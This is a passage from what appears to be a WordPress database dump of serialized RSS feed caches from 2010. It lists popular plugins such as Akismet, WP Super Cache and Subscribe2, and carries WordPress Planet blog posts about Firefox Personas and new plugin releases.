+0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"1355@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:119:"You can have simple, concise stats with no additional load on your server by plugging into WordPress.com''s stat system.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"andy";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:23:"GamerZ on "WP-PageNavi"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/wp-pagenavi/#post-363";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 09 Mar 2007 23:17:57 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"363@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:62:"Adds a more advanced paging navigation to your WordPress site.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"GamerZ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:27:"donncha on "WP Super Cache"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"http://wordpress.org/extend/plugins/wp-super-cache/#post-2572";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 05 Nov 2007 11:40:04 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"2572@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:73:"A very fast caching engine for WordPress that produces static html files.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"donncha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"alexrabe on "NextGEN Gallery"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"http://wordpress.org/extend/plugins/nextgen-gallery/#post-1169";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 23 Apr 2007 20:08:06 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"1169@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:102:"NextGEN Gallery is a full integrated Image Gallery plugin for WordPress with a Flash slideshow option.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"alexrabe";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:17:"matt on "Akismet"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:52:"http://wordpress.org/extend/plugins/akismet/#post-15";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 09 Mar 2007 22:11:30 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:39:"15@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:98:"Akismet checks your comments against the Akismet web service to see if they look like spam or not.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"mitchoyoshitaka on "Yet Another Related Posts Plugin"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:79:"http://wordpress.org/extend/plugins/yet-another-related-posts-plugin/#post-2769";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 02 Jan 2008 13:05:03 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"2769@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:149:"Text Domain: yarpp\n\nReturns a list of related entries based on a unique algorithm for display on your blog and RSS feeds. A templating feature allows";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:15:"mitchoyoshitaka";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"ozh on "Ozh'' Admin Drop Down Menu"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"http://wordpress.org/extend/plugins/ozh-admin-drop-down-menu/#post-2408";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 28 Sep 2007 08:10:03 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"2408@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:96:"All admin links available in a neat horizontal drop down menu. Saves lots of screen real estate!";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:3:"ozh";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:29:"Bueltge on "Secure WordPress"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"http://wordpress.org/extend/plugins/secure-wordpress/#post-5920";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 11 Jun 2008 10:26:19 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"5920@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:56:"Secure your WordPress Installation with small functions.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Bueltge";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"dtsn on "TweetMeme Button"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"http://wordpress.org/extend/plugins/tweetmeme/#post-9292";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 24 Feb 2009 14:55:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"9292@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:60:"Adds a button which easily lets you retweet your blog posts.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"dtsn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:23:"stimuli on "Lightbox 2"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/lightbox-2/#post-2451";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Oct 2007 02:20:04 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"2451@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:142:"Used to overlay images on the current page. Lightbox JS v2.2 by Lokesh Dhakar. Now with better regular expressions, courtesy of Michael Tyson!";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"stimuli";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"skippy on "Subscribe2"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"http://wordpress.org/extend/plugins/subscribe2/#post-674";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 26 Mar 2007 19:09:54 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"674@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:91:"Sends a list of subscribers an email notification when new posts are published to your blog";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"skippy";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:7:{s:13:"last-modified";s:19:"2007-03-30 20:08:18";s:4:"etag";s:34:""a8894f3af502f182fd4e92b6405bade8"";s:12:"content-type";s:23:"text/xml; charset=UTF-8";s:14:"content-length";s:4:"6703";s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:58 GMT";s:6:"server";s:9:"LiteSpeed";s:10:"connection";s:5:"close";}s:5:"build";s:14:"20090627192103";}', 'no'), +(130, 0, '_transient_timeout_feed_mod_a5420c83891a9c88ad2a4f04584a5efc', '1268427261', 'no'), +(131, 0, '_transient_feed_mod_a5420c83891a9c88ad2a4f04584a5efc', '1268384061', 'no'), +(132, 0, '_transient_timeout_feed_867bd5c64f85878d03a060509cd2f92c', '1268427262', 'no'), +(133, 0, '_transient_feed_867bd5c64f85878d03a060509cd2f92c', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:"\n\n\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:61:"\n \n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:16:"WordPress Planet";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:28:"http://planet.wordpress.org/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:2:"en";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:47:"WordPress Planet - http://planet.wordpress.org/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:50:{i:0;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"Weblog Tools Collection: WordPress Personas For Firefox";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:84:"http://weblogtoolscollection.com/archives/2010/03/12/wordpress-personas-for-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:84:"http://weblogtoolscollection.com/archives/2010/03/12/wordpress-personas-for-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1766:"

What WordPress is to Blogging, Firefox is to browsing, so what happens when we can get both of them to get together? WordPress personas for Firefox :-)

\n

WordPress has released a new set of Personas for Firefox themed around, well WordPress, which you can install and use on the browser. The personas were designed by Chad Pugh and are based on Vintage Press and Inkwell.

\n

Vintage Press Firefox Persona

\n

Inkwell Firefox Persona

\n

Interested? You will find the two personas for Firefox at this link. However, you will need to install the Personas add-on before you will be able to use these as your themes.

\n

Personas are similar to skins, which Firefox users can add to the browser. They are somewhat similar to Firefox themes, however they can be installed quickly and easily and do not provide as much sophistication like regular themes. I will stop the banter and direct you to Wikipedia to read the rest of the dope.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Mar 2010 07:29:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"Keith Dsouza";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"Dev Blog: Firefox Personas, WordPress-style";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://wordpress.org/development/?p=1234";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.org/development/2010/03/firefox-personas/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2513:"

We recommend open source software whenever we can, and the Firefox browser from Mozilla is one of our favorites. Firefox 3.6 recently came out with persona support, allowing users to skin their browsers with favorite designs and brands. WordPress users everywhere seem to love the W symbol (at WordCamps it shows up on everything from t-shirts to iPhone skins), so it was only natural that WordPress personas would come along.

\n

To kick it off, designer Chad Pugh created two WordPress personas based on the WordPress brand: “Vintage Press” and “Inkwell.” These two designs are a great way to show the WordPress love, even if you’re only showing it to yourself. :)

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
Vintage Press PersonaThe “Vintage Press” Persona is inspired by the style of old-fashioned printing presses and the mechanics of working with type. This persona might appeal to WordPress developers and users who appreciate the way things work under the hood.
 
“Inkwell” is more of a palimpsest* & watercolor hybrid that might appeal to the artists among us. Music, script and spills of color combine…Inkwell Persona
\n

Okay, I’m starting to feel like an art critic so I’ll stop there. Check out the WordPress personas for Firefox and decide for yourselves.

\n

* I never thought I would have occasion to use the word “palimpsest” in a dev blog post. Never.

";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 21:37:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"Jane Wells";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:13:"\n \n \n \n \n \n \n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Weblog Tools Collection: WordPress Plugin Releases for 03/11";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:40:"http://weblogtoolscollection.com/?p=7839";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:88:"http://weblogtoolscollection.com/archives/2010/03/11/wordpress-plugin-releases-for-0311/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1925:"

New Plugins

\n

WP-ZoomImage With CopyProtect

\n

You can pop up an image or thumbnail by just clicking on it and it will disappear when you click it again

\n

Titled Comments

\n

Hikari Titled Comments enables each comment to have a title, so that commentators can give a subject meaning to their comments.

\n

Scroll to Top Plugin

\n

Integrate a jQuerry scroll to top control in WordPress manually

\n

Tweet my Script

\n

This plugin watches your Twitter RSS Feed for user-defined “launch codes†to trigger user-defined script URLs.

\n

Dojo Skew Gallery plugin for Wordpress

\n

This is a plugin to create a skew photo gallery utilising Dojo Toolkit Ajax.

\n

Updated Plugins

\n

AVH Extended Categories

\n

The AVH Extended Categories Widgets gives you three widgets for displaying categories.

\n

Smarter Navigation

\n

A WordPress plugin that generates previous & next post links based on referrer. Version 1.2 adds a utility for posts in multiple categories.

\n

SEO Automatic WP_CORE_TWEAKS

\n

Extends built-in features of Wordpress and combines common plugins into one.

\n

WP ImageTagger

\n

This extensively configurable plugin comes packed with a bunch of features enabling image tagging, including search and image taxonomy.

